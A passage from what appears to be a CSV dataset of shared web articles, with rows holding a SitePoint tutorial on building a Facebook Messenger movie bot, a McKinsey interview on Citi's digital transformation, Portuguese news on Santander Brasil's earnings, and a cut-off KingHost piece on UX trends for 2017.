1485379399,CONTENT SHARED,5681075485882787671,3609194402293569455,-3248494234497722227,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.sitepoint.com/building-facebook-chat-bot-node-heroku/,Building a Facebook Chat Bot with Node and Heroku,"Building a Facebook Chat Bot with Node and Heroku was peer reviewed by Joan Yin and Camilo Reyes . Thanks to all of SitePoint's peer reviewers for making SitePoint content the best it can be! At last year's f8 conference, Facebook launched the Messenger Platform , giving developers the ability to create bots that could have a conversation with people on Messenger or from a Facebook Page. With bots, app owners can better engage with their users by providing personalized and interactive communication that can scale for the masses. Since the launch, businesses and app owners have shown great interest in the chat bots. Just three months after the announcement, there was an estimated 11,000 bots built on the platform. Businesses and app owners aren't the only ones benefiting from chatbots. Users of these bots can enjoy a myriad of services such as: The current interest in and appeal of chatbots is obvious and as the technology in artificial intelligence improves, the bots will get better at interacting with users. In this article, we'll look at how to create a Facebook chat bot that can interact with users via Messenger on behalf of a Facebook Page. We'll build a bot that gives the user different details regarding a movie that they specified. Do I Need to Know AI to Build a Bot? Being skilled in AI will certainly help, especially in building sophisticated bots, but is not required. You can certainly build a bot without knowing machine learning. There are two types of bots you can build. One is based on a set of rules and the other uses machine learning. The former is limited in the interactions it can offer. It can only respond to specific commands. This is the type of bot we'll be building. With bots that use machine learning, you get better interaction with the user. The user can interact with the bot in a more natural way as they would in a human to human interaction, as opposed to just using commands. The bot also gets smarter as it learns from the conversations it has with people. We'll leave building this type of bot for a future article. Machine learning knowledge will not be necessary, though. Lucky for us, there are services such as wit.ai and Api.ai that enable developers to integrate machine learning (specifically Natural Language Processing - NLP) into their apps. Getting Started You can download the code for the completed demo app here . For your chat bot to communicate with Facebook users, we'll need to set up a server that will receive, process and send back messages. The server will make use of the Facebook Graph API for this. The Graph API is the primary way to get data in and out of Facebook's platform. The server must have an endpoint URL that is accessible from Facebook's servers, therefore deploying the web application on your local machine won't work, you have to put it online. Also, as of version 2.5 of the Graph API, new subscriptions to the service have to use a secure HTTPS callback URL. In the tutorial, we'll deploy the app to Heroku as all default appname.herokuapp.com domains are already SSL-enabled. We'll use Node.js to build the web application. To get started, first make sure Node is installed on your computer. You can check this by typing node -v in the Terminal. If installed, it will output the version number. Then install the Heroku Command Line Interface (CLI). We'll use this later to push the app to Heroku. Use heroku --version to verify that the CLI is installed. Create the project directory and initialize a package.json file with the following commands. Follow the prompts to set your preferences for the project. After the package.json file has been generated, open it and add a start property to the scripts object. This lets Heroku know what command to execute to start the app. During project setup, I defined app.js as the entry point of the app, thus I'm using node app.js as the value of start . Change this according to your project's settings. Install the following Node packages. Create a .gitignore file in your project's root directory and include the node_modules folder, to prevent it from being committed. In your project's root directory, create a file labeled app.js (or index.js , if you went with the default name). Modify it as shown: The first GET handler will be for our own testing - to know if the app has been successfully deployed. The second GET handler is the endpoint that Facebook will use to verify the app. The code should look for the verify_token and respond with the challenge sent in the verification request. You can paste your own token into the code. Such data is best saved in an environment variable , which we'll do shortly after we create a project on Heroku. Deploying to Heroku For the Facebook platform to connect with our backend application, we first need to put it online. Create a Git repository and commit the project's files with the following commands: Register for a free Heroku account if you don't already have one. From your terminal, login to Heroku and create an application. On running the heroku open command, the link to the running app will be opened in your default browser. If everything went well, you will get a page with the text Deployed! on it. Creating Environment Variables Before we continue, let's create an environment variable on Heroku to hold the app's Verify Token. Open your Heroku Dashboard and select the app that you just deployed. Go to the app's Settings and click on the Reveal Config Vars button. Enter VERIFICATION_TOKEN as the Key and your token as the Value and click Add . In your code, modify your token string ( ""this_is_my_token"" ) to process.env.VERIFICATION_TOKEN . Commit your changes and push them to Heroku. Create a Facebook Page and App With the server up and running, we'll now create a Facebook app and the Page it will be associated with. You can create a new Page or use an existing one. To create a Facebook Page, log in to Facebook and head over to Create a Page . Select a Page Type from the given options. I chose Entertainment . Then select a Category and Name for the Page. Ater clicking on Get Started , the Page will be created and you will be asked for more details regarding your app (description, website, profile picture, target audience, e.t.c). You can skip these setup steps for now. To create a Facebook App, head over to the Add a New App page and click on the basic setup link below the other platform choices. Fill in the necessary details. Select Apps for Pages as the Category. On clicking Create App ID , the app's dashboard will be opened. From the Product Setup on the right, click on Get Started in the Messenger section. You will then be taken to the Messenger Settings page shown below. To receive messages and other events sent by Messenger users, the app should enable webhooks integration. We'll do this next. Webhooks (formerly Real Time Updates ) let you subscribe to changes you want to track and receive updates in real time without having to call the API. In the Webhooks section, click Setup Webhooks Enter a callback URL where the updates will be sent (the endpoint URL defined in the backend app i.e. <your-app-url>/webhook ), enter a Verify Token (the token used in the backend app, i.e. the value stored in process.env.VERIFICATION_TOKEN ) and check all the checkboxes. These specify which events the app will be subscribed to. We'll see what these do a little later on. On successfully enabling webhooks, you should see Complete in the Webhooks section and a list of the events subscribed to. If you get an error, make sure you have entered the correct URL for the webhook endpoint (ending with /webhook ) and also make sure the token used here is the same one you used in the Node app. In the Token Generation section, select your Page from the dropdown menu. After authentication, a Page Access Token will be generated for you. Create another environment variable on Heroku and set its Key to PAGE_ACCESS_TOKEN and the generated token as the Value . Note that the generated token will not be saved in the current page it is shown in on Facebook. Each time you go to that web page, the Page Access Token field will be blank and when you select your Facebook Page from the Page dropdown menu, a new token will be generated. However, any previous tokens created will continue to function. So make sure you copy the token before closing the web page. In order for your webhook to receive events for a specific page, you must subscribe your app to the page. In the Webhooks section, select the page to subscribe to. Welcome Screen When a user starts a new conversation with your bot, the first thing they will see is the Welcome Screen. This screen will show your Page's name, description, profile picture and cover photo. You can customize the screen by setting Greeting Text that will be used instead of the Page description. You can use this to set an introductory message that will let the user's know what to expect from your bot. By default, to start a conversation it is the user that sends the first message to your bot. You can, however, enable a Get Started button that will enable your bot to send the initial message. The button will send an event to your server that you can then respond to. To set the greeting text, open your Page and go to its Settings . Select Messaging from the left panel and then turn on Show a Messenger Greeting on the right panel. Set the message to your liking. To enable the Get Started button, replace the PAGE_ACCESS_TOKEN string in the following statement with your token and paste the command in Terminal. The above makes a request to the Facebook Graph API. If the request is successful, a Get Started button will appear on the Welcome Screen of a new conversation. A user clicking on the button will trigger the postback received callback. Your bot can then respond to this postback. Postbacks can be triggered by different types of components - a Postback button, Get Started button, Persistent menu or Structured Message. You can set any string as the payload . On the backend, we'll then use this string to identify the postback sent as a result of tapping the Get Started button. To receive postback messages, your app must be subscribed to postbacks on your webhook. We did this earlier by checking the messaging_postbacks checkbox when we were setting up the webhook. If the Get Started button is successfully set, you will get the following response. Remember the Welcome Screen and Get Started button only appear for new conversations. When coding and testing your bot, you can start a new conversation by deleting the current one. To process the postback message, paste the following in your Node app. Whenever someone interacts with your bot or sends your page a message, an update will be sent via your Webhook integration. To get the messages, you have to listen for POST calls at your webhook. All callbacks will be made to this webhook. In the POST handler above, we iterate over the messaging entries sent to the app. Sometimes messages are batched and sent together, so an entry may contain multiple objects. We then iterate through each entry's messaging event and check for its type. The following shows the different callback messages that can be sent to the app. Message Received callback - The Message received callback is sent when a person sends your bot a message. You must have subscribed to the messages event when you setup your webhook. Postback Received callback - The Postback Received callback is sent when a person clicks on a button that has been configured to send you a postback. In order to get a callback from a postback, you have to have subscribed to the messaging_postbacks event when you setup your webhook. Message Delivered callback - This callback will occur when a message a page has sent has been delivered. You must have subscribed to the message_deliveries event when you setup your webhook. Authentication callback - This callback will occur when the Send-to-Messenger plugin has been tapped. You must have subscribed to the messaging_optins event when you setup your webhook. Message Read callback - This callback will occur when a message a page has sent has been read by the user. You must have subscribed to the message_reads event when you setup your webhook. Message Echo callback - This callback will occur when a message has been sent by your page. You may receive text messages or messages with attachments (image, video, audio, template or fallback). You must have subscribed to the message_echoes event when you setup your webhook. Checkout Update callback (BETA) - This callback will occur when using the Buy Button with a flexible-amount transaction. This allows you to update pricing based on a person's shipping address. You must have subscribed to the messaging_checkout_updates event when you setup your webhook. At the moment, this is not available outside the US. Payment callback (BETA) - This callback will occur when a person taps the pay button from the checkout dialog rendered by the Buy Button. You must have subscribed to the messaging_payments event when you setup your webhook. At the moment, this is not available outside the US. If the event is a Postback, we call the processPostback() function where we check the payload value. Remember, we had set Greeting as the payload of the Get Started button, so here we first check if the messaging event was sent as a result of clicking that button. If so, we use the User Profile API to get the user's first name and use this to personalize the message that will be sent back to them. From the API, you can get their first name, last name, profile picture, locale, timezone, and gender. The message is then sent to the sendMessage() function which POST's it to the Messenger Platform. Back in the Webhook POST handler, we return a 200 OK HTTP response. It is important to return a 200 response as fast as possible. Facebook will wait for a 200 before sending you the next message. In high volume bots, a delay in returning a 200 can cause significant delays in Facebook delivering messages to your webhook. If your webhook returns an error (i.e. not a 2XX status) or times out (i.e. takes longer than 20 second to respond) and keeps doing so for over 15 minutes, you'll be sent a warning alert. If the webhook continues to fail for 8 hours, then Facebook will send you an alert letting you know that the webhook is being disabled, then your app will be unsubscribed. Once you've fixed the issues, you must re-add your webhook and re-subscribe the app to the page. Commit the changes and push them to Heroku. To test the bot, you can start a conversation with your page either from facebook.com, the facebook mobile app or using your Messenger short URL (we'll see how to create a username shortly). On Facebook and messenger, you can find the Page by searching for the page name. As you can see from the above, you can't always guarantee that the page's name will be unique. Your users might select the wrong page. To prevent this you can set a unique username for the page. To do this, go to your Page's home page and select Edit Page Info from the More dropdown menu. Then set the Username. Now if you search for @page_username you'll get the right page. You can also go to to start the interaction. Below, you can see the greeting text we set for the Welcome Screen as well as the Get Started button. On tapping the button, you should see the message sent from the server. If you enter any text, you won't get back any response. We'll take care of this next. Setting up the Database When the user enters a movie name, the bot will use the Open Movie Database API to get the details of the movie. The API request we'll use will only fetch the first matched result, therefore the movie returned might not always be what the user wanted. Because of this, the bot will first confirm with the user to see if it got the movie right and after that, the user can get details like the movie's plot, cast, IMDB rating, etc. They can also enter another movie name and get its details instead. Because of this back and forth, the bot will need to remember the user's current movie entry. Facebook doesn't keep a session open with your webhook, so any data you store in a session object will be lost on the next request. We'll instead save this data in a database - MongoDB to be specific. We'll use mLab's add-on on Heroku. mLab is a Database-as-a-Service for MongoDB. On Heroku, while you can use the free sandbox mlab plan, you will need to have a credit card saved on Heroku for verification. If you do not want to provide your card details, then you can register an account on the mLab website, create a free-tier sandbox database there and link to that from your code (more on this shortly). To use the addon on Heroku, go to the app's dashboard and select the Resources tab. Search for mlab and select the result. On the dialog window that pops up, select the Sandbox - Free plan from the dropdown menu and click on Provision . You should see a confirmation of the chosen add-on. If you check your environment variables on Heroku, you will see one with your MongoDB's URI already set up. Setting up a database via the mLab website If you prefer setting up the MongoDB database on the mLab website, then register for an account there and head over to the Create new deployment page. Change the Plan setting to Single-node and then select Sandbox from the Standard Line section. Set a name for your database and complete the process by clicking the Create new MongoDB deployment button. On the page that follows, select the database you just created from the displayed table. A page will be opened that will show instructions on how to access the database. Select the Users tab, and click the button Add database user . Fill out a username and password, and click Create . This creates a new set of credentials you can use to allow your app access to the DB. In the top-half of the page, find and copy the database URI - it will look like mongodb://<dbuser>:<dbpassword>@dsxxxxxx.mlab.com:55087/spbot . Insert the dbuser name and password that you just created. On Heroku, create an environment variable named MONGODB_URI and paste in the database's URI as its value. Defining the Model Class Back in the Node app, create a file labeled movie.js and save it in a folder labeled models . Paste the following into the file: The above creates the movies database model. The user_id will be the user's ID obtained from the Messenger Platform while the other fields will be fetched from the movies API. We'll only store the user's last searched movie, so the database will only have one record per user. We could have omitted the user_id field and just used the user's ID as the _id of each record created. This would have worked since the user IDs are unique for the Facebook Page. If you are going to do this, you should be aware that user IDs are page-scoped. This means that the IDs of users are unique for a given page, but a user can have a different id for different pages. You need only to be aware of this if your bot is serving different Pages (yes, a bot can serve multiple pages ). Thus, if your bot is serving several pages it might be faulty to identify the users by their user IDs only and it will also be faulty to use the user ID for the record's _id field since this has to be unique and you won't be able to guarantee this uniqueness across Pages. Putting It All Together With the database and model set up, we can now finish up the chatbot. The code will be presented in parts, but if you want to paste the whole code into your project, here is the link to the app.js file. Start off by setting the database connection. Mongoose should have already been installed previously with other modules. Modify the webhook's POST handler as shown. We've added a check for events that are of type message , passing them to the processMessage() function. Here, we first check if the message was sent via the Message Echo Callback. This callback will occur when a message has been sent by your page. For instance, the first message we sent to the user (the greeting) will be sent back to our Webhook. We don't want to process any of our own messages so we put a check for this. We then check if the message is a text or attachment (image, video, audio). In the case of the latter, we send an error message to the user. For text messages, we check if the input matches certain keywords that will indicate what detail of the movie the user wants. At this point, the user will have already made a query of a movie and the movie will be saved in the database. The getMovieDetail() function queries the database and returns the particular record. If the user's query didn't match any of the set keywords, the bot assumes the input is for a movie query, so this is passed to the findMovie() function which calls the Open Movie Database API with the input. If a movie is found, its details are saved together with the user's ID. If a record with that user ID has previously been created, then it will instead be updated. We then create a Structured Message and send it to the user. Apart from text, the Messenger Platform allows you to send back images, video, audio, files and Structured Messages. Structured Messages are templates that support different kinds of use cases. The Button Template allows you to send text and buttons. The Generic Template allows you to define an image, title, subtitle, and buttons. In our app, we use the generic template. Modify the processPostback() function as shown. Here we add two checks for the Correct and Incorrect payload messages. These will be attached to buttons that the user will use to let the bot know if it presented the correct movie. Commit your code and push it to Heroku, then try sending messages to the bot. When you send a query to the bot, if it finds the movie, it sends back a structured message that checks if the correct movie was fetched. On the web (and iOS), this looks a bit different. Structured messages can have different types of buttons as shown: URL button : Open a URL in the in-app browser Postback button : Send a postback to your webhook when you want to send an action to your bot Call button : Call a phone number Share button : Open a share dialog so that messages can be shared with friends Buy button : Open a checkout dialog for purchases In our example, we use two Postback buttons and set their payload values to Correct and Incorrect . If you look at the processPostback() function, you'll see the checks for these two payloads. If the No button is tapped, the following message will be returned: The user can then make another query. And on confirming that it is the correct movie, they will get further instructions from the bot on how to proceed. Remember, we check for these keywords in processMessage() . You have to make sure that the structured message you send is well-formed, otherwise it won't be shown to the user. In the demo app, I noticed that there are some movies returned by the movies API that are missing some details in some of their fields. In such cases, the value of the field is N/A . In our structured message, we are using two fields from the object returned by the API - the Title and the Poster (URL for the movie poster). If a movie is found, it will always have a Title, so there is no need to confirm this, but if the movie doesn't have a Poster and you don't provide an alternate URL for this, the structured message will fail to be shown. So make sure the attributes in your structured messages always have values. In our case, we link to a placeholder image in case none was returned. If no movie is found matching the user's query, the bot lets them know that. Going Live with Your Facebook Chat Bot When you're ready to release your app to the public, it must go through an approval process. Before the app is approved, only you and testers you invite will be able to interact with it. The submission process to the review team is out of the scope of this tutorial, but this guide will tell you what you need to do. Conclusion In this tutorial, we've built a simple Facebook chat bot that is capable of getting requests from a user on Messenger and responding to them. The bot is far from perfect, however. When a user is interacting with it, they are limited to a strict set of commands. This isn't how people talk to each other. The bot can be improved in a way that will enable users to interact with it in a more natural way as they would in a human to human interaction, as opposed to just using commands. This can be done by integrating Natural Language Processing into the bot. To do this, you can build your own NLP engine or use a service such as wit.ai which enables you to add NLP into your apps. wit.ai is owned by Facebook and is free to use for both personal and commercial projects. What do you think of chat bots and their increasing use? If you own a Facebook Page, would you consider letting a bot handle interactions with your users? Let me know what you think in the comments. Want to learn more about bots? Check out our new Premium course on creating a Skype bot with the Microsoft Bot Framework !",en
1485425545,CONTENT SHARED,2952636544547704346,-3390049372067052505,-858258885412147714,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://www.mckinsey.com/business-functions/digital-mckinsey/our-insights/rewiring-citi-for-the-digital-age,Rewiring Citi for the digital age,"Citigroup's Head of Operations and Technology describes the bank's efforts to accelerate its digital transition, as well as the importance of having the right talent and agility to pull it off. Citi's legendary chairmanWalter Wriston noted years ago that information about money has become almost as important as money itself. The bank's Head of Operations and Technology, Don Callahan, believes that today, in the digital age, Wriston would surely drop the qualifier to his famous observation, noting: ""Information simply is as important as money."" This is apparent as Callahan surveys the 21 st -century banking terrain: digital competitors are massing on every front-from fintech start-ups to new divisions of global institutions-while the speed of every banking process and customer interaction accelerates daily. All this change requires a focus on agility, Callahan says, which in turn demands a cultural rewiring. At the helm of Citi's digital transformation, Callahan is helping drive new thinking across the bank. He points to Citi's digital lab for start-up innovations, powerful new apps for customer smartphones, and, internally, a push to expand capabilities across cloud computing and big data and analytics that enable automation and machine learning. In an interview with McKinsey's James Kaplan and Asheet Mehta, Callahan describes what it takes to mobilize digital change at one of the world's leading financial institutions. The Quarterly : What are the top-of-mind risks for you as you continue Citi's transition to a digital bank? Don Callahan biography Don Callahan: I think the biggest risk for the industry is whether it will be able to move fast enough. Are we going be able to think and execute swiftly? A lot of people talk about being agile. Agility is a lot more than how our developers approach an issue. ""Agile"" now is a group of subject-matter experts coming together from each walk of life-someone who is a true developer collaborating with someone who is a product manager who knows how to listen to the customer or the client. And then the real test is whether they take that, put it together as an idea, and bring that story to life. In addition, if it is not right, can they move on and come up with the next version fast enough? The Quarterly : So, give us an example of agility at work. Don Callahan: An example right now is work that Stephen Bird, CEO of Global Consumer Banking, is leading. We know we have to be mobile first, and we are doing a lot there. In order to be all-in on mobile, we have set up a ""lean team"" in our Long Island City office, with about 100 people who are operating in a very agile way. It doesn't operate like a traditional bank; it is much more like a creative team. They are incorporating feedback, putting up designs on a wall, and testing directly with customers. They are experimenting and coding. I'm seeing the speed, the curiosity, and the execution at levels I've never seen before. The Quarterly : And this is helping you step up the pace? Don Callahan: Yes. On the consumer-banking side, one of the most exciting projects for us was how fast we were able to come up with a product offering for the Apple Watch. I received a phone call on the day IBM and Apple made the announcement that they were going to work together. And someone from our consumer business asked me if we could be the first financial-services app on the Apple Watch. We worked with a senior team at Apple, with IBM, and at Citi to develop the first banking app for the watch. We did it all in 120 days. The Quarterly : If you think about the opportunity to create digital financial services-you are a 204-year-old bank with all the resources and capabilities that implies. In some cases, you may be competing against much newer, smaller, nimbler start-ups. What does that imply? Don Callahan: The competition has changed. It's not just the peer bank down the road or across the ocean. Today, it can be a start-up in Silicon Valley or Silicon Alley. We welcome that kind of competition. It makes us stronger and that much faster. I also think there is plenty we can learn from them, and there are opportunities for us to all work together. The common denominator most start-ups have, including ones I have had the chance to visit, is they truly have a blank slate. Because of that, they are able to take the art of the possible and bring it swiftly to market. For some companies, that is going to require fresh thinking, including welcoming change and embracing new ideas. The Quarterly : In terms of digital transformation, how do you think the culture and the skills of the IT organization at Citi will evolve over the course of the next five years? Don Callahan: As technology changes, we are going to be have to adapt accordingly. Over the last five years, we have continued to enhance our capabilities at Citi. We have changed all of our significant platforms globally, as well as our core hardware and architecture. In the process, we have also been able to achieve dramatic savings. As a result, we have state-of-the-art technology across Citi that is running at an optimum cost structure. Looking forward to the next five years, we are going to have to continue to build upon those efforts. For example, we are going to have to become very comfortable embracing the cloud, our private cloud, our multitenant cloud, and our public cloud. We must get comfortable with the idea of true automation-robotics, machine to machine, cognitive, and so much more. The question becomes how do you actually apply that within Citi? So, the culture and the curiosity of our tech team and our operations team will need to look at opportunities for change. I will give you an example that I find particularly important. As we looked at accounts payable, we realized it is repeatable work and fairly predictable. That is a perfect situation to place a ""bot"" on it. This enables people who are doing those jobs, whether it is in Budapest, Tampa, or Costa Rica, to perform functions that are even more valuable, deliver more results, and provide better career-growth opportunities. The last part of the culture I think we need to change is embracing data throughout the industry. Data is truly the lifeblood of an organization, in my mind. We are seeing the value being created for our clients and our customers by being able to help them at all stages. I believe big data is absolutely going to be an area in which there will be more focus and opportunity to drive value for clients. Of course, we will be careful to do all of this in a way that is secure and privacy protective. The Quarterly : Is that starting to happen? Don Callahan: Yes. For example, we are able to look at the supply chain for a very large manufacturer. Because we have the data and the permission to look at it, we could examine every aspect of the supply chain down to country by country, almost by subsupplier and then sub-subsupplier. And what you could see are opportunities for synergies, as well as for cost savings and rationalization. You could also look at opportunities for M&A and then take those insights to develop strategic ideas for our clients. It allows a different dialogue with the CEO and the CFO. It was one of the first great examples where I could see such great complexity presented in an easy interface. You could identify the graphical insights that were present and then turning those into business ideas. For me, it is a foreshadowing of what is to come. The Quarterly : Digital multiplies the security risks. What's your strategy in this area? Don Callahan: The challenge we face today, regardless of which industry you are in, is that the goal posts are moving every day. And it is extraordinarily sophisticated. At the same time, the access point to be able to do harm to an organization is actually lowering. The cost of entry, to provide real disruptive capabilities, is dropping. The capabilities of the individual attacker are increasing. At Citi, we have transformed our overall strategy around information security, and we now have what we call an intelligence-lead model. So it is no longer just looking at trying to secure the gate, or to wrap it with firewalls. We are now trying to make sure that we can look at what threat factors are coming in and that we have critical understanding of where those threats will manifest themselves around different client subsegments. We take privacy of client information very seriously and make sure that our data collection, use, and sharing is done in a manner that meets client and customer expectations and complies with law and regulation. The Quarterly : You have talked about a very different model inside IT-a very different model for the business, too, as you become digital. What is it going to take for Citi to get the required talent? Raising your Digital Quotient Read the article Don Callahan: Talent is such a critical area of focus for us, and, in particular, for me in the technology space. I probably spent over four hours today on talent alone-on interviewing talent, trying to attract talent, and working with my team on the overall talent agenda. Right below us is the Borough of Manhattan Community College. It has about 26,000 students, and what we are finding within those halls are people who love computer science. They are from diverse backgrounds and from all parts of the globe. It is a wealth of opportunity. Another thing that we are doing is working closely with universities all across the world, from Oxford to Cornell. We are working with Cornell right now as they are building out the new tech campus here in New York to help build a discipline around information security. And then, we are bringing in teams for special projects on information security and looking to see if they are the right fit for someone at Citi. The Quarterly : What's needed on the talent front to compete with start-ups and with fintech companies? Don Callahan: I think to compete with start-ups, we have to make it exciting and we have to be purpose driven. I haven't run into one person at a start-up who is there simply to do a job. It is the passion about building a business that we need to tap into. The insights we are getting from the teams we are hiring now is so impressive. We need to continue to be aggressive about the talent we are hiring-people with the necessary digital awareness and the ability to think and act in an agile way. About the author(s) Don Callahan is Head of Operations and Technology at Citigroup. This interview was conducted by James Kaplan, a partner in McKinsey's New York office, and Asheet Mehta, a senior partner in the New York office.",en
1485429024,CONTENT SHARED,-6468782714472551646,5660542693104786364,-537882753893230818,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.valor.com.br/financas/4848194/santander-brasil-tem-lucro-gerencial-de-r-1989-bi-no-4-trimestre,"Santander Brasil tem lucro gerencial de R$ 1,989 bi no 4º trimestre","SÃO PAULO - O Santander Brasil obteve lucro líquido gerencial de 1,989 bilhão no quarto trimestre deste ano, o que representa um aumento de 23,8% em relação ao mesmo período do ano anterior. Frente ao terceiro trimestre, o crescimento foi de 5,6%. O lucro societário, que inclui amortização do ágio, foi de R$ 1,537 bilhão entre outubro e dezembro de 2016, com elevação de 31,7% na comparação com o mesmo intervalo de um ano antes. Em 2016 como um todo, o banco teve lucro líquido gerencial de R$ 7,339 bilhões, com alta de 10,8% frente a 2015. O lucro societário foi de R$ 5,533 bilhões, o que significa queda de 20,9%. O resultado do quarto trimestre veio acima da estimativa de analistas consultados pelo Valor , que projetavam um lucro líquido de R$ 1,76 bilhão para o banco. A carteira de crédito ampliada, que inclui avais e fianças, fechou o ano em R$ 322,783 bilhões. O número representa uma queda de 2,5% em 12 meses. Na comparação com setembro, porém, houve expansão de 3,8%.",pt
1485429102,CONTENT SHARED,-282629989972409543,5660542693104786364,-537882753893230818,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.valor.com.br/financas/4847178/santander-brasil-gera-21-do-resultado-da-matriz-no-4-trimestre,Santander Brasil gera 21% do resultado da matriz no 4º trimestre,"SÃO PAULO - As operações do Santander no Brasil geraram lucro líquido de 510 milhões de euros para o grupo espanhol no quarto trimestre de 2016. Com isso, o país voltou a dar a maior contribuição individual para o resultado da matriz , com participação de 21% no resultado geral, de 1,6 bilhão de euros. O Reino Unido ficou em seguida, com lucro de 474 milhões de euros, ou 20% do total. No terceiro trimestre de 2016, as operações brasileira e britânica deram contribuição igual para o resultado do Santander. De acordo com as demonstrações contábeis no padrão IFRS, o Santander Brasil gerou margem financeira líquida de 1,882 bilhão de euros nos três últimos meses do ano passado, com alta de 0,5% em relação ao terceiro trimestre. As provisões para perdas com créditos foram de 953 milhões de euros, 0,2% superiores ao montante contabilizado nos três meses até o fim de setembro. O índice de inadimplência do banco no Brasil ficou em 5,9% no quarto trimestre de 2016, com base no balanço denominado em euros. A carteira de crédito a clientes somava 75,474 bilhões de euros no encerramento de dezembro, incluindo a totalidade de saldos em balanço nesse conceito. O montante avançou 10,8% frente a setembro. As demonstrações financeiras da matriz espanhola também informam que o retorno sobre o patrimônio líquido do Santander Brasil foi de 13,92% no quarto trimestre, estável na comparação com os três meses imediatamente anteriores. O Santander Brasil fechou o ano com 46.728 funcionários, ante 49.520 no fim de 2015. Houve 12 fechamentos de agências em 2016, ficando em uma base de 3.431 unidades. A cotação média do real ante o euro no ano passado foi de R$ 3,831, enquanto a taxa do último dia de 2016, que é referência para o balanço patrimonial, foi de R$ 3,431. O Santander Brasil divulga amanhã suas demonstrações financeiras do quarto trimestre de 2016 no padrão contábil local. A expectativa de analistas consultados pelo Valor é que a instituição financeira reporte um ganho de R$ 1,76 bilhão para o período de outubro a dezembro, ante R$ 1,61 bilhão em igual intervalo do ano passado.",pt
1485433044,CONTENT SHARED,-2323511129839590090,3609194402293569455,-296407187773930883,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://kinghost.com.br/blog/2017/01/tendencias-de-ux-2017/,Especialistas trazem tendências de UX para 2017 - KingHost,"O ano de 2017 já começou, mas ainda temos um ano inteiro pela frente para estudar, pesquisar e aplicar diversas técnicas e ações em nosso planejamento. Falamos recentemente sobre tendências de conteúdo, nesse post aqui e dessa vez vamos falar sobre UX Design . Talvez você não saiba exatamente o que significa UX, mas com certeza já sabe a importância que possui. Estamos trazendo um conteúdo que vai deixar ainda mais claro que prover a melhor experiência possível aos usuários pode trazer grande impacto para os negócios. UX vem do termo em inglês "" User Experience "", ou seja, a experiência do usuário. O profissional de UX deve prover ao usuário de um produto ou sistema um alto de nível de usabilidade, eficiência e satisfação em cada interação. Reunimos diversos especialistas para nos contar o que acreditam ser as principais tendências de UX Design para 2017. Ficou curioso? Então acompanhe abaixo o que cada um disse à KingHost . ""Um assunto que deve continuar bem forte em 2017 são os chatbots e quem trabalha com User Experience deve sentir o seu impacto no cotidiano. Para criar melhores experiências nessa ferramenta, será necessário que os profissionais de UX mudem um pouco sua visão, hoje forte em fluxos de navegação com interfaces de fácil interação, para árvores de decisões lógicas e mais próximas de um pensamento humano. O que há hoje nas plataformas convencionais será transformado e novas métricas e metodologias devem surgir para demonstração dos resultados. A tecnologia (ainda) não permite que os bots sejam tão naturais como uma pessoa interagindo, por isso, o grande desafio dos profissionais de experiência será trazer o melhor resultado para seus clientes já entendendo essa limitação"". "" Conversational Interfaces . Usando redes neurais para conversar com o usuário, como Alexa, Google Home, Siri ou Cortana, ou caprichando no storytelling , como fez o Adrian Zumbrunnen em "". ""Em 2017, os designers não devem ter receio de começar com um modelo padrão para cobrir o básico e então dedicar a maior parte do seu tempo nos detalhes que farão a experiência parecer muito mais relevante, agradável e até mesmo memorável. Em 2017 esperamos ver mais e mais equipes de design contratando psicólogos, fisiologistas, antropologistas, pesquisadores e outros especialistas para trabalharem juntos projetando essas novas experiências"". ""Se 2016 foi um ano em que diversos conceitos tecnológicos ainda distantes do grande público já se mostraram viáveis, tal qual a realidade aumentada e o estrondoso sucesso do Pokémon Go, ou então a proliferação de devices com inteligência artificial , este ano se inicia com a perspectiva de que muitos poderão se tornar cada vez mais presentes no nosso dia a dia. O que dizer do Echo , device da Amazon que atende pelo comando de voz ""Alexa"" e instantaneamente inicia uma interação com o usuário utilizando inteligência artificial? O lançamento oficial na feira CES 2017, em Las Vegas, fez a empresa de Jeff Bezos superar facilmente os destaques de pesos pesados como a Microsoft, Apple e Google. Estes, por sua vez, trouxeram ao mercado suas iniciativas que utilizam, além da inteligência artificial e do reconhecimento de voz, o uso crescente da realidade aumentada. Por isso, é impossível não listar a inteligência artificial , a realidade aumentada , o reconhecimento de voz e o machine learning entre as principais tendências do ano. Todas, vale ressaltar, guiadas pela necessidade crescente de atender às demandas da experiência do usuário. Não à toa, os conceitos de UX deixaram de ser algo restrito aos designers e aos níveis operacionais das empresas para chegar ao topo das prioridades das grandes corporações, onde deverão permanecer por muito tempo. Aliás, a exemplo de Amazon, Apple, Google e Microsoft, é através desse foco em UX que boa parte das companhias vêm buscando inovar. E para isso, é claro, investem nos mais variados métodos de pesquisa. Daí a importância dos data-driven insights e dos cross-functional teams . É com diversidade de informações e experiências que virão os melhores resultados. É nisso que nós da Kyvo Design-driven Innovation acreditamos"". ""Em 2017, a cultura de design estará cada vez mais consolidada no dia a dia das grandes empresas. Com isso, uma boa usabilidade será cada vez mais considerada como algo fundamental e não como um diferencial. Uma das maneiras utilizadas para buscar essa diferenciação será a adoção de personalidades mais humanas e autênticas por parte de marcas e empresas, que ficarão ainda mais evidentes durante a experiência do usuário através de microinterações , chatbots e interfaces conversacionais . As práticas de Customer Success estão sendo cada vez mais disseminadas no Brasil, ganhando mais força principalmente no último ano. Com esse movimento, acredito que os profissionais de UX trabalharão cada vez mais próximos das equipes de Customer Success , direcionando seus esforços não apenas em entregar um bom serviço ou produto, mas também em garantir que seus clientes alcancem os resultados desejados . Em relação a ferramentas, tudo leva a crer que este será o ano da Adobe , com o Experience Design tomando conta do mercado devido ao seu funcionamento multiplataformas, facilitando o fluxo de trabalho entre designers que utilizam PC e Mac, e à evolução rápida em relação aos recursos de design e prototipação"". ""Ser cada vez mais DATA DRIVEN ! Pela primeira vez estou trabalhando numa empresa que conseguimos ter acesso de uma forma fácil à base de usuários e ao banco de dados 